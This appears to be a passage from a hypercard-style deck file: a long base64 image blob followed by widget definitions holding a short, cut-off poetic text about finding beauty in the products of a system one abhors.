iSKT//9+3pipJIJJjGSJRIylKSlJNV+/oEkO3ykX/9////v///7//NA48QAHjQVyAAiMaO8h32owvf8xLHDMQiJJP////9f8skixjFMKNGZjKWZMpob/p8A6Lr+JE//n//99//8/++f8dC8SQGPhZpADaNOqd7/aBH9zYkxekTCSEf////x/dNJKDDJQ0sWRGJJExKSu/i/Adqf8RMnHx///Zfv/f/9vZggMw0HD0icghnDkkwTfDM/9zJiZdySMkYSf/z/5//SkkmJCjDESGYZUmTMZPX9fgF6n/lInXR///30///v/vjyAgkix07sBZELIWNxn5PcTwmEuAR+gQkwl///P+f795JGSyKMMWMZkRZISSU9Zn6Btk+MSIXx////9nV7t0r+PpmGYrOPtsTRApg7b234xkMJ9YmZ+U0hAkf//3/Z/uaJMESskwsUkMZhGzMpNnf/AeR80iZgJ/////9/vr+b2pGxls0gDvKbTEqAFJvsewGwaHXn793XxEkl2v//2f+WZIkwgTDIkYYpDMGEynv9/QBpz7KRGje///7++v/z9lnnRBu8LA26mWaBMm//nS/4z411z+fjY8kkIeP/P/3/ixJJilkmMkxpKZJMWJL3zf4DJn7gyQLfv+/69/v/f//8K34NZhSZ2oWwNBgY9//f8m2ZN/Bkx98IhJnv/b///+CJJEkEiQTCIkRjMkYxPf7+AVk3zCikf7//7v//4+7f+5u7bdEcCHJ3mRhgAB/32jwk7//t2N3X4hHj/+8u///kpKREsklkmZTUTISmzD3f/gF8G5MaEf+/8P//9//r///yfa++r4I35XPgsQg/vzltg2fvzd7L/8lIc57fz///5hITMglEKSRFExCZnwa/T/6AJ/p49+X+n93//+/8//++0ddm6mO9B9/6NiQgv+/kIBlf73O1at7gCP2/P/f3//JJSIlkMokkmSJmYlZwz/5+AmlnX/eF/z/y/3//7//+P8z+Ul1yCYU2nI7ijF+Z7IPT7xfvte9+5KI////z5//XSciJEoiSSYJIiQp9yTP3/ANZnsb8E/8/os9/////zwKhHYmRgYnz/7QBkwC78zn6imvcvGfv7wOiF///////3f+SZJJJRkhozJEpD4s9//0C+my+5+fbO+/Xf//2328HwAz4jo3k4uvck0hyv+zcfiR+wPDP/+MxENf//9/9/e3nZBJJJlEmDCM0xP8k/bv8An93v/5vunvv1/////v3NVChOY4xk+B7+JMgHd8sz+9U8ebrz/jdj8Rn/n/77/crv8WSSSCRIZMgRBQ/sDg/+gD51L+NjjT33/P//7vt8QlQFqCUUt5Tc6Uympx9/R+/zf3iej/7D8eJur//+//+6P+QSSSZJJhgnJMzf9ckWfsD95rU4Py3G//pv//79H2AwAFQYYV4QOZcAHIGz/9wlcpyZWLf858/IrO9//n/tv//ikkkhEiGDIKQyP/s7t38B+brN/ZtZlf/+K33T/wQRGBgBAjt1jkbUawIIc/579+TWRwTf3lPj4T////7//8//4kkkmSSYZJiTAj/+Dz1/IY7fM0cdk/f//4v/+PdtkRYACmWfX8DGxYNBB9n/fmP2MuFUj2fve+XX///+///nvwkJJISJRhCGSMnf/M0/3wB3Rf569+P39/8Y3zn/WiAlECZAh+57ABOYzID0//0b3ZDMX5N/5a7/hv///X//+/0IpBJkkkGSYSQof79G9/7Am7+uuvf/9/MfYd99/3smEAADsK/zx3BBQItjcH7ZzdkYrItvH9Lf+wX///9///cQxJGSEkSYShklJj/5uv7+AO+67ref/3f7X8BPNe8sGUIiECdhqQNUjSCJgBd/nuX+ljkt9+/d/3sR/9////9iCjESSRJJJkmEkRH//Y/b/wHv/97tu//3ek/SIzn/cYEKAhCv0CDBBOWAbghHv7/5/MQetXOyb/n/EZ///7//qmICREFJIkEkZJJIf/fPffzBm/+X3fO/9/8H1TGNvIIpMTDCONsCpMsWczVGH/+v0jftf9hPkGO//kUf//6//sIEyEkUSSSZJBJIij//L3f+AN/9+3/////h0KEUmb4NRAdIYZLwcDi5UwXgJgP/vHB/977u9/e5n/5mf/////zCU5MSRJCRBJMSSTL//y//vwG/185///8/DZgY7IcwlOKEh6jfeARaPzGW6qNHft20ie56K///ff//o//////bMKdEJEkmEmSQySRIf/4u3/yB/3vd22//n5DGvNtF1Iph1zPibbgE6293+awHITu/1rZ8ef/P7Vbf/4P/////qwSfkIkiIUipDCEkkz/+z/7+Ad/7p//f7lue4EplJ7kiXHGARG+ukvn+2XJkIS/zu3ouvyR3v//3f//H/////+sTf9yyJIhJO2FMEiT//5///gP+/v/39vBIgE0bvlA5ZJBvDFW+2+8Pz/nukA1Aj+Jba/f1l///9+7/0//////+n/857JEmJFoEwsJZf//v3/2D//H///01ImNbqYo2PFV0HYDn/TvlJz/h++AWmJjNXn/7H/9//9+r////////87/+b74SQYSXkhIZH+//z/P8A////v//BlOMOyLFoZqJFLayGn9vZZ/+u/7jwI+buXu/yI1v////+/9/f////HX///u2RBgibJOQQbn//9///gM//////MOTAPQ1prZGuRF+8ks27tNCl/bu7EzWl/jVyDeziv//v/X/f//////7//37uSSEkm8k5SR////b/30D7f/v///Y4PH3kYPSYYzY+kSIP5inkIv/vcqo89N3Uf7Z37f//x///9//////+//985ghJFH7yMkJff//v/98A8//////72wG7QTp6Znw//HZ0ZGz7H9L7vTyhvdjdiW+zt+33/fv///n//////3/77eiiWMUS8liUv////n/+gP3///+/fnyQPxkyextehd386T2/33nw3/9MNGU+X6sZ+ed9v/0nd//g///////f8/7wIgQNH/3cJb///////oD/v//9//4GZwbjHI59zzZPJAK7a3Yf99/bJoRYt//+f97/+////z/3vn/////+v+/f0gilI43fdSP///f/P/8A+P//////iXkQjB4n/9y7rfSSf+/3d5M3hFiSjJ35/Z/2X9d//v/76/5/////+6fv/5DEmEykNvkJ+//f/B/+QNv///////AYDBMfRHRFtJ/fkz//t+Po5+zYmT0//P9Ps//3v///8mv/L/f9///9///sEBpFj3/+f/////1v7oH4Z9/////2RoEQw6fGNCV3+G773+9phr37v0kbZ8//c7+f///////z/7M////Nu///uQlElku/719///f9s/6B/W381////zVjIQnprYqdb5oEe+v9OPOd+e3IlvL3/03Xf7/////98P3rf//////2/9BiPhvLt9/P///95Nv+AeyzP3///39OAJGS5yM83jB2XT79/cZf2ct/7BgnH/33+n48/ff/4/D9Afs///rf9n9yAg9Ht1x/d/////dv/4G4ci////8WaiRMTvJkZyK6c/rX3feTXMff/bF2qK/u/vv5v3/f/8nI76X///967/RbsJDOlfv+v/////bx+/4Bd46rf3//k1LSQIs69NaKMnQi9d73tsN8979MJPR/e+99/v9//PfZ1l7P///////WhoQQFufP/3/v///+m/7+QfnTif3//4gjUHRG6ciG4YnlsHd+0XH/Xt139huD/++f//+8fjcL5ldd4f1/7//cNr/CRhfrf////////e2//gH5zkXf///lsEQoU+u3L/MDiTZn63uv97Hy9/taWf9//9///D/PaQoJ73f//7/79baPEIDDsfv+/9////+0b9+B97Z93///8XUcDgdnuR/Yx7Hnu/nuzstu5LeMvmb/3/9+e2JH2fFrpt/Pf3/3/ve9jYQoC/P//f/////+s5d9Adf37////+jzw4BoUcfY9mYhyGf9tj3/5zsvcnO7dv+/v//y1/eeY6Sfx2////+/+yUhAiH//f9/p///934VvQFf3n////+YGsmkRI33RPROSvpztf0tfPr5nPN9W/xb/3//1Qf/++Xb77f3/////7/UAEiP/9///y///2d4Tf4B3vZnn8//yA+YM0ifG4J5QZHmM/3du+vbRcet39o31/l/9r1v6/c/WjuP/////f/+6JInH/9///+f///2Pz98AX7st+/D/zQQw0gLU+pnvyEBE2N7/bq+XZxv8ZjA/9f5//4/Mpsl7T+/6+/f/9dPZ3pktUf////3j///27eO/wPu/v/D/rwpFjnJOOZDTX0kaLRAj33+v8azZ/RT7/////vv90i79T3k/8f/9f/8Trdy2f4Bf///8dv/5/7/o3wD///f9NX4yjosT8dXqPfTsGTdxJe6/3uxu/+lJzn//+f8z/E5M98f+f+2//37r57KH/+ckG6//+X9/779tW38g//93qkc9sYygCdx17sF8CDF/iTxznps/uS/K60rf9/hfA/XJ2h+3v/79vv+f+fhc8//fASf3/9jZ/7z9/9T/QNvvuT9CebtHM8HBodR5+2TEzqC4fl/98v9u2bL5P///7tv9zWe9Nu/7nf///3dL/V//fEgPv///93f23//0nwB///3ffNpcxfFgF9Zdz+Q2MrzFyf0/d+v3XmOuDZ///7vr+y89v6bZ+3u/v28/6X9n/zgCX+////7/93//kH6A9///3wFPzabfJMVfA82JijAPOI//H18//p9k7X5r///3pe7X//+//9j7H//v//X/d/8SICP//////3z/377foP7+P9DJbnvQJtij85uT4GkERgE1+P767//rz3lTP///3///d479n+2+rf//r//973+eQImp/////r/e5/um/iDf/G/tLyr6gw6whv8mlsI0BYwMv/+c1/e/LHPe28//////f/xvez/+5u43n///+77l7IgGcn/////e+7/+0z6AF/6H5euLzaZyYiL9zObKUEwxA8f72e///2W/975D/7v////582T/39l7H+9f//re+aeiU1N//+3vf3///1+fAI/f0f+HntVyIy4j4eLqd2umCsMD7127/+dvf/91l3+5////+m//L/69JEpt//v+Zfj2YBfF3/7/v+////+3fkDDD/iX+P9flsCMm2CTcjG6DBpFQf/73++76n/f9pbPwz////8//z/tcABphD/7/z3b+ESP9f9v9f79v/f/J/9BNML3nf//e5dee5nTBn8X0QWOhkr7/+/z3/7ubv/SbZZ///f5nPy///LJbNz//v+bbQ0B/8LPR+X/7////5m+AZXaz//35+bHN0uPUCY5UFzFxCuF/+fk3v+37e//Nb+x/////P/9X//SEU93vP/+53WnL//Fq+9b/X/////yPoDsk1///8fIlI2XI0KRD8jcI/GSJ/6rvXf+vfn9y3j+/Z/9/+ZZsV+faSR77T///zY/fu//9t/99//9/8/f2/4BzTef///h/3eU1oOygZxNb2IKEQ/GCud325P3//rLP/e///v+N/+Hl2SAZ7v////fv////0NeP/R3///339h/AeHvD////y/LdsZxuIRYLStr2EROAAen/Hv//n/7IH/+e+P9/0f4AG/ySX//////nv2/P/HLO//b////99/7vIDzuePD//xv+FOkmCUVLK52sAhCnmM/7L/2f9//+mNf/y/v////YQAP8kh//////7d5///y3+5/+//////39P6AstCeP//vM6jZ26a5UTRfjnKMwgIkj9pz9L99897sf/f//////zkAHuSCf/////PP/O/c3j/9/ff/////7vm+IXxeIb//+yDCbn8dnkURNsrW2abMJMT3/f+///+drc7//3+///7RADexIP/////7m+9v3d337/P+/////+71PQF3zsrf//8q05w3gP8B9Sd6FoqhEQQXs//6f8vx/t/W3/8//f//0QAe5Eh/////+b95N+nTn9v+Oev///v/+/4Df6t2f//+/uhztroPkMne247GWQJCxf33bv/n6z///L/5r/8+d3EAP9OAP/////m7hYfAB/97183v///tn/t/Av/r83///9Tze78rCKO0+8yv2exazBdN/33vu/St/r+/yCf//7tyAB338D/////7LoZHwB+f9/9//////f/9/EP//9n////7+/7M6S9j5+9sG7n2T0kTd7/5/8//x9//Xa+3//utuwA//+A////v/eTGZ8J+l///e+v///5/t/wD//////////uvj4cNSdav2wzr2TpRNv7/w95z+9f3/3xf7/+e7seAL9/gf//bH/0tPh6I2HPu////////f/v9g///u///7//b8X/Gwx51n6Nv+Pjcdxfnv/b7/L4//7/+v7///99f4DD/+D//zt//JnRO2R9////z/9///9v//AP//////////3zdpsPMr3+jenZmbr0+3/9v//enff//z79f///+f/wn//9/vJ8P/7sedJNfz/+/+/v///7f190D//vvv/////3u4cTDjodvmL/77/aUM/v/3/+/f4t/759+//n3vJ/n/////+/bP/ybZznt+l3//+f77//////8g///7//v///9mcZAT6g1/iZXrPltKy/7xt/93//64f74Qn//7/+n///7/f3/ut//YLG8H/0/+/1v3////ff3/gP//9//////6e/RyD+IOrpMU37+ebLd6/6////8d++f+/fv///7P//7//7v//8//e79j3f9//+/v///////ffoD///7/7////3pefMD04O+zNfY+u261//+//f3/xPzx/85////+///7/3+///zL/19/Fv/////f//vn////7f+hz//+//v///9+6pxQfCCb/Um8/r7+nf2///5+//7xkX/+2//////6tf3/n///5//E1/A3+f/////+b////+f/If/////////9fK+9EngQn2+LS90Xstn//v//3//xO+/917v///+//tZf/9/+X9f/RrG79jb/P/5//7/////5/4H///7////3P3znfkIEHcO95y79dvye/v///d//vX6s37WX//////ZZ///f9q9z/3vvL2bPYV/9vtv7////0d9B///+/9////dlz8fCEnP7r07Pnv13j//9/v+/++fmv97tf////v/76f//3LW3e//tf+/+/x9F/v9uet////P/Af////f///79ezm9gfLf/nvf7vD/Uhv/+////n5v53//y1////f//b1//92c9z/+8n32/3v/ve8f7Z///////wH///f////P/98p7395///R7zLKZvSZ/XPuf//nlu//f3r3/////7fH/3/e559//1/Ev/n//7/x3f/tH///739B//////v//9+nv7/827//+98zZTa0m//2b9//3f7//8bf5f//////9v////vz9/9mnzf/f//+p3+/3//////+Qf/////7b7/+/33b/v7f//Lf4/E39Qvkb/N///q5vcr/9+X/////7vX///M577//2SP/9//6f//f///+/////wHnv/v//6///79x/8+dd/82v+mSBzUL7E/fP//+7/zvvvxt/////9/v/9/ZLi+//sk8bf/P/v////3//v///b8B///////v//+/fbP3NPP19//yYoAE6se///P393+Pffv87P////9///f/32b3v/93XbWrf//+9///v/v///v+Qf//////3///v/ff/3j///f21M6AAXqT///2f/f/67/f//v///v/v///b//fX+//ZmPfd////+f//n//r////kH//////+///b/8//9mXfn700ni5AUgfv///uf//tj///+f////8cz/377f/d+//93s757t////f//9/1///74D/3/9///7//eve///457+P9/re/kQgD3////d7//v/3///3//9/ff/9/f8//7v/7b9v+z3f///////d+///9+A///////////s3vX/9y3rv/+25xzBEj7///1t/3/////33/////////f/9/77///P/v+2/9//////39////v/gP///v///b////f/r+TB5mf65g//JZYF////3p/f/7b7//5P9//3/n/v77////+/8V/2tv/vf/3+/99/fv/7/6D////////////5u/2o8jl/v+8Pmj+oI/////++vv+//////f///v//7//97+/v/7Xv/Pffvv///v//+3+/l/8g////////7v//7////er6f3ndzw2eSaof////////v/3//8//7/7f////9v//77/dqe3v3+aX///+/+/3////gP////////f//+/n///fKP3jCwDmRpwkf/////33/8///9/f///////v+/fn////2zrn93Q9be3/+7//7/9//kD////////////973/r0/991DBUwpO1AD////v/////+/////6SAXEk2//9f//3//zc0D/6/3/2/9v/t/9Z/j+A///+/////77/9jv/d/7EezSVT4YEBQgt///////v5////7YACEh0tyD/9zb/77+d5v37/7v//r33+/3t//afAP///33////7///93ZZ7lZPTIA/gIQGDMP//////+/f//4AA0WW2/tmv5/en/+///H+w/P/3/f+u////u//3fyD//////v///3/7/972Np1O2Rov8zAIC//x///7/////wAJSRZUlTNO9P2/O////7/b8/z/3/n//u7/v//v/F8A/////////ef/mj9+7b1td56GmFyAUAP///7/V+//0ABZ5Exm1mX5Zl3vu///9//fH+2//+f+vz+W/3/n+/t/AH/3//+///////79v7q2W3bZp0MM6CQP//////9vgF//9xCzmZs6fLnb+rR7/+9/3PPkPv///7+fJP/////03oD////+////z/7/8736bl5uxbPBYGyvf////9/QEv/vt7wOlmlpSzavbvu3D//r/+f/0vd///7u3/223///8t6A/+//////88///3/fczv9lu7KAHluP/////gE3///+//gI1SuZmW5pOvvPJP///+///+7f3//vVm99P7/7///Afzn////+/87f///9/v7b9c5/izCP/////0P/+//f///4Nllppuc+3a7+7/z//c/1v//vv///79/nx/////9f0H/9///////n3v//f7/539/S7DUnnr///W3+fv//////oJMmzOy0zjbtvq23/v3/9+/38////3+9v37//9//95A+////////7tr//7//O+2efAOVhl+bb2/////v////38DM1jYzLb7KW3vttv/7/+7n9f/////+37/+v//v/L/AOpv/+////84e//6//m9tu3ERrMtdef/b//////////+CZNGlm2Mua1t/b9r//8/+/ef//7///vP//m7///47gCqf///////PFv///9tf9b8yTKN7///7////////////AxMtmczazzW2vb55v//f9//f3+v///+v/v97/5/8n6B8/3/3////zwb////3X7e5tm////v///////f//////gzZKllmmt+Urb+95L/7/+/v2v+v////6P3/e/////+Ad3+7/////94O/9+//7c7Lv/7//////////9///////4RDMrOM2Znbs3e3bC////v/9/9v//7/7+//3/9//5/wH3/v//////eDv///7YIz//////////////////////8VmZWY5ltv2t2ft+4v//f+/vd////+//////ff///7yB7////X///zAf///sj//7//f//////////////////+EmTMbLNkyeZN799yP///9r//v//8/d//z//+/////+Ab///9////98D/pJN//////////////////////////kyWa2c5rbb1smvfXBf///S//v//93///f372++///7gH9////////cDMv////////////////////////////5lkxMZzKs29Tbb79yX//f3f/v9//////3f/v//pf3/0B3//7////8x///////////////////////////////8lGlU0kbaye3Nt+9mM//38xvjHP///8v/////////fdAMAA///8CX/////////////////////////////////LMs1tZzFtt6aa33eJP///O5//bW////7/////f+/1fgPAAv9kn////9//////////////////////////////mJkpktmeU28zZt352T/+/2zx/9/3//9////////79/4DQAoHf////////////////////////////////////9bNMlYmJtzP2d2++01//v82b/7////+/3/f////t9P9AMv///////////////////////////////////////8zJM5lsrGmt05Tb/bZf/9/czs/////3///v/+/+ffyhf//////////////////////////////////////////jLMpkZmdOzfm2392lz/9/13/n////////+///+37+////////////////////////////////////////////mmZpRpmZs3Ps6ze81y///883t/////n//77//5/7/////////////////////////////////////////////8zTJzmmsjU24ys3/lnv95/Nj9/////////2/+3c/X////////////////////////////////////////////9lmZilMkzNzPm8t9+uX/9/3enf////v////86Xvfb/////////////////////////////////////////////myTMotnU2tvyx5v5p7f/f852ef////////et/v97v////////////////////////////////////////////6jMZ1qNFlLm9nnb/nW/95/vn/f/////////v/vb+/////////////////////////////////////////////8uZzFNs2ttNPmebd9Nz/7/zYn/f//+////zPr/3ref////////////////////////////////////////////ZyMtlGSpjdt7Rrf9rnv+3+bef9/+nv////7bf+299////////////////////////////////////////////zGYzJdNmnJrdnm2/LPf/f/u077////7//9/u//7//////////////////////////////////////////////7abVLos1NbbPyfTfyW1/f/622/v93f////381v9/L7///////////////////////////////////////////+y2EzKqRMzbb7pnv+YDP//+9O3//dv///9///t//9P////////////////////////////////////////////zUQAAbNpJKzemuv/y2Ad//l22//+////////t/2/f////////////////////////////////////////////7VwAABISZmbXrbr/v2fF//z2m8///////7/77V7b3////////////////////////////////////////////+2mAAAyAACVm8lm///8tP/+7u1v/+////vb///+39/////////////////////////////////////////////maQAADAAAASvbXf////7//rs3f/////7+7////6/f////////////////////////////////////////////s00AACQAACAjttt/v/////zbdu///////v///v//vf////////////////////////////////////////////myAAAyAAAAAcy7f/////n+3Zu/7/////3///9n///////////////////////////////////////////////MqgAAAAAEACHbb//////7/ubtnKf/////+//1/f7/////////////////////////////////////////////5s0AAAAAACAh82z/v///9/57beX////v///7//f///////////////////////////////////////////////NRAAAAAEAAA+2+3f7/9/f+3bZr39v/3/+////////////////////////////////////////////////////ZdgAAAAAEADH+92f4P9ft/Nbbnu///9//f/+/v///////////////////////////////////////////////ywwAADYQAAAQ8993jDnX+/9229nv2//+//Z/v/////////////////////////////////////////////////bJAggSEAAAEP9/994mZ+/822xv2/f/////n////////////////////////////////////////////sP////U2wAAGCAEAAHtb+/HLeft/ttvr2/v/////uf////////////////////////////////////////mEYTH////2zIzECYAAAAx9/vrtm3H9/7ts7a/////////n////////////////////////////////////m34xBGEz////+tkkt0sMCAAAfbe+7Wb1/f9rbzX3f///////f///////////////////////////////////yxh8BNzpN/////MyABBoSREAAD49+/P99f5/bbPX/P///////7///////////////////////////////////8pSfKWcaTf////8pgQAIDJRIAA//9n3/fP//7bc29+///////+j//////////////////////////////////+CUPylnGNx////85gAADAQAEkgP//+53Z7/P7bb23f7//////73v//////////////////////////////////glB8pZljMf////ZtABAAAAAANP////wz+///bbNt3//+//////3//////////////////////////////////5KRRCWZY3f////0xQQAYBgAAAA////dm/u9f2zdt3ffv5/////f//////////////////////+AH/////////+GkMRtmkln////9pgAADAAAAAgH////b3z/3/bbbf63//n////9////////////////////8B8AA//////////hpT94ZhLZ/////KzAABACAAAAA////5l9/7+227d7v////////////////////////z/AAPAeAAP/////////6aU/emYaxH////7JgAAYAwAgAAP///ed/e+/22zf7///////+//1nf////////////gDwAByXCQj/////////+klP3pu0IB////6WwAACAHAgFgB////ZPn//9s3a7+//P///+f//X5/////////wH/ggckkMBiAg//////////hrT945JHN/////aTAABgAgMBAAf///25z/3/21b77/3/////3//v7/////////8B/wCTAASEYAgf/////////6Y0/eP////////ymQAAQAoBAMAH///eZ+u+f3d23//9v/2f/+7/++b/////////Cf4kAxJAkEBAD/////////+md///////////+ayAAGAJAYAgB///3pPP//9szbff////9/9/3/f7f////////iP8gSBAEkEJAJ//////////////////gf///+ymgADAAwIAIANv//2zz/7/27d/f/v//9//3fv//v////////8D/BAICQAEAD+f///////////vg4AIBwB////22gAAgQQDAAAMy//9Z8++/tsz33v3///9+9P3//7////////+S/hEgiOJIJD/7/////////wxh4OAGAcAf///9nsAAMAFAYAADb3z3U+P//9szP3/////rv/f/7/f/////////gP4DyCDgIACwA/////////8MYeHgBhvGH////+ZgABAAwSAIAtnbObPm/9/bu+/3f////u/+9L+//////////4j8S+IESSJCYAP/////////DGHg/D4fxx////73gAAwAICAaACc+/6b7/+/9sz9zv/////u/t1v//////////+C/AfgkQAgEGAD/////////whj4Pw+P8cf////ubAAMAGAwCABpmzy08///7Z3v/z////7v//3/95/////////oPyX4AAk5IDxA/////////8IY8D8fj/HH////e7AADAAwGCYIGt+fTfb/9/bm7+3///3/v/9lmfN/////////4j8B+RIgOAIYCf/////////DGPE/D4fxh////9+0ABgQMCAAAFZ0/Vn3v//26z3/3////9//92tvf////////+C/EfhAhLhAmID/////////4gjxPw+E8A////729AAYEBAwAABVnz7P7f/v/Zv/tvb////f/99vZ//////////kPwX4CBAZEBgA/////////+IY8T8fgPAf////A5YIGDgwOAIAJN7ap+3//+3W2/P/f//////9tvk/////////4T8h+SJCWARJCf/////////iEPEfD4DwD//////97+5oICgAADs235nPf//2d3/79/f7//////Pdx////////+B/CfgACBiBDwD/////////4hHjHw+E8Yf//////bb/+/loAAhJbnzX2/f/97Xvvv4/5tP////9/d/////////kfwPySSEYIAAg/////////+JB4x8fj/GH/////3d2mb7fdssIJlueN9rf//2uvvf7/+/7//+zr+//////////4T8g8AAwSQiQA//////////iAeMfH4/xx/////z3Wf+ndte/d7Te2o+b3//t6//9/LvTH////9vP/////////+AACAEksghIAID/////////4JHjHw+P8cf//////f9u/f3N95+TNnwDNn//9nd77dvfvv3f///e/f/////////kkMJIIDCICQQJ/////////+BB4B8fj/GH////9++t79+fb3n/zLc+wAD3//+d3/c7N33l///+9v8n////////4EQQQiJ4ISxAQf/////////gweAfH4/xx/////37vbt75//fd/+fntjIB//t7397z93tnf/8+71//////////+MCBBDIOQQOEgH/////////8IPADw+Accf//////Pf/7u2299/73P7SJ2//93P/+7r/u/f/59/9///////////gKMEEYThAnwAk//////////DDxy8fgHGH/////+9e2b9/b73/79/efbl///9e9/3///v3////v7//////////5IBoQeR6Eh/JB//////////gwccPH4Bxx//////4C/Zt2/vPb73737z////t/7/ff2/v//////+Pr////////+ATchnAvIT//v//////////8MfHjw+Jf///////8AdgDky877/nb3793/f//7f+/+f///////3Kf//////////jEHyP//////////////////DD3/////////////gHQAIAJLm3/3/+/ff//+79//7P/vNv////9/f/////////7f/////////////////////////////////////YB8AAAAAcB7v2/7m9///v33vfe/vt9X////2f///////////////////////////////////////////////z8AaAAAAAAAHe3737/3//+3f/+f//7t/7///n////////////////////////////////////////////////47gOgAAAABAB9/3983/////9/6/9/+b+/r//uv/////////////////////////////////////////////////oBwAAAAAAAb23f/Pv///tv9////3/e/v/b/v/1//////////////////////////////////////////////++AcAAAAAAAGv397z+///7+7//3///f/7//t+b////////////////////////////////////////////////7AMAIAAAAAB+3t/597///t7////9///5P+763/3/////////////////////////////////////////////5v4DwGAAAAAAd/vf+f/////3//////9////+/3fz//////////////////////////////////////////////+2AYBAAAAAAXW/b/Pf///7fe//////////97/37//////////////////////////////////////////////79AKAMAAAAABv7e/z/b//+99/////X/////v//23//////////////////////////////////7///////////t4CwGAAAAAAf/+v9//////3/////+///////9////////////////////////////////f//bbtt///+//////6AABAAAAAAH//7/d3///9vf///////f//////7////////////////////////////v3/9/////9////////3bAAAAAAAAAB////v/v//+/9////////////8//v//////////////////////////////3/+2zb7/////////f4AAAAAAAAAf////v////vb7////vf///////////////////3/////////////////////3/373/////////+2AAAAAAAAAH/////3f////79///6X///////vv/////////3f3////////////////////f23r3///////////AAAAIAAAAB///473////bb/////9L/////5f3/////////v9/////////////////d//e///u37f//v////++wAAAGAAAAAf//+f/////f/////9+6//////9f//////////79////////////7/e9//////2t/7///v/////7+AAADgAAAAH///n/9///+7e///99v3//////+f/////////3/////////////3+/////v//e7d///////////9+AA/8AAAABv/v57d7//+/9//////Xc3///b+fv///////+/+//////////////////9v//////////////////gAP/gAAAAf//+/9////+33///6v+X///////7////////++////////////////////////////////////ne2AD/4AAAB//1/vf////3/f3///v/3ef///3/+/////////////////////////////////////////////////gA3+AAADe7f2//f/v//d9/3/9f/svv////9/f3///////////////////////////////////////////////8CAAAEELP++vP3/v///v373+/3/+72+///v/13////////////////////////////////////////////////9xgAfoPv/v/z/3vf///fv//////b399/3////P////////////////////////////////////////////+///9l82+P///3Y+/9///99vf7/v///3+x7/////v////////////////////////////////////////////+////7S2sf//9/eP/v////v//f////vX+ub//zv/7/////////////////////////////////////////////////zvMv8B//+/j/ff////fvff////1////7/W//v/////////////////////////////////////////////////KcBf9///74+/e///99vf/////7nP0n/3tv/b/////////////////////////////////////////////////btwX////38f/e////v/cA/f//+vv+W/9///9////////////////////////////////////////////+3///2mYH////v/H3+////7t/AP/t//7//Pn//t/+/////////////////////////////////////////////z///+fZB/v7/vvj/u9///9//gD/yX//f7fl//+3/v/////////////////////////////////////////////////0nQf5////g/u9////5b8A/+z/////r///9n9/////////////////////////////////////////////////3bYH43//74fv97///78fIL/v////////7//9v////////////////////////////////////////////////8tmB4H//78P/d7v/v7/52pP///7f/////X/v7/////////////////////////////////////////////////6bY2D////H/dz//////9bUd///n+9///zf/7/////////////////////////////////////////////////55nmA//+/h/f/3///3/+1bb3//+/b///+3/+//////////////////////////////////////////////////TTNIP/+/w/wA3f/////wSt///+r9////7//z/////////////////////////////////////////////////8cs/n///4f/iAAPv/v/8Gyf9f//bX////v/3//////////////////////////////////////////////////3n/////+H/7/+H3/3/+A3f/1//z9///5f//f///////////////////////////////////////////////////////++Dv/WX9//7//wU1/////mf/9//2/3/////////////////////////////////////////////////////////h/9//ev////8Fmf/////W////f/3/////////////////////////////////////////////////////////4//23v///3/+Bs//////+////b3/v///////////////////////////////////////////////////+f///4P///bv/////gZz/////9v////8/v///////////////////////////////////////////////////+P///+H37t5/v////+TNf/////3/////3/////////////////////////////////////////////////////n////D//v33///n/+9Z3/////v///////////////////////////////////////////////////////////j////h///fe//////oSn//////t/f//3v///////////////////////////////////////////////////wH////w//7d9//////+gA///////d/////////////////////////////////////////////////////////v////8f///v3///n///77/////5e3////f/////////////////////////////////////////////////////////P//2+f+//9///7s//////9/f//////////////////////////////////////////////////////3////v/n///7dv//////+2PP////3D////7//////////////////////////////////////////////////9/////+/7/++/////v//v+D//////33///3//////////////////////////////////////////////////+//////n/t/97t///z//vfv9///////fb/////////////////////////////////////////////////////v//+//h////3////9////8XP///n//32+////////////////////////////////////////////////////7/////wf//+/9/778/4J7nz7//+7r+38/////////////////////////////////////////////////////+////7AD///7v3///7wACmn+///f7/v////////////////////////////////////////////////////////////8Af///vv/////fALq/n///7f/v8ff////////////////////////////////////////////////////////+AH//9/+/////3gA173////9/v/89//////////////////////////////////////////////////////3/sAAn///9///////AB2//////77z7/f//////////////////////////////////////////////////////+J+AB///v9//////4A8Pf///4H///uf/////////////////////////////////////////////////+/v/////+Df///7///////gM/3//8eAeEF1+//////////////////////////////////////////////////+3/////8Dv/veff//////4Av////DwH/xv+///////////////////////////////////////////////////8/////YAf///zf///////gN////g+B+8P/3///////////////////////////////////////////////////3///MUAH///8f///////8gG///IPCABC/////////////////////////////////////////////////////+///97wA///f/v///////xA/3/1AD/AC/////////////////////////////////////////////////////+7/P+//zf/////////+5/+QHx//0A/wB//f///////////////////////////////////////////////////+Ac9v/gP///v9/////n//yA8f/7AAwBe3/////////////////////////////////////////////////////wf8/fwA//vf//9///7/f+oAn//gQfgG///////////////////////////////////////////////////////+7+3//f///+/+9jb4n/P+Be/+4A38R////////////////////////////////////////////////////////gI///////9//vgPhT/J/hN/v4IP/BeX//////////////////////////////////////////////////////AA//8H///9///Bc4N/2f8m//eCGGAD///////////////////////////////////////////////////////AF8H8Az//////Az7++/P/9//3BhggAu//////////////////////////////////////////////////////uP/8/ADP/8///x///u92//f/5gJZOAf///////////////////////////////////////////////////////////wAgYHD/////////s/j//xrcX7Hf////////////////////////////////////////////////////////7/8AV/Bx///////////w9/8AzhgDu/////////////////////////////////////////////////////////v/AN//9///v/////f/wf//4Iv+A/z///////////////////////////////////////////////////////////A//////7///////+H7/+Gb/+N////////////////////////////////////////////////////////////D///v////////9//5zf/gAf8D+v/////////////////////////////////////////////////////////sAf//////z/////f/8/jH/J38E/z///////////////////////////////////////////////////////2///x///////////////d/9/wB+Be0f///w==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[235,31],&#34;pos&#34;:[16,27],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;it is possible to find beauty in the products of a system i abhor&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[223,31],&#34;pos&#34;:[55,69],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;especially when that system tells me i am finding the 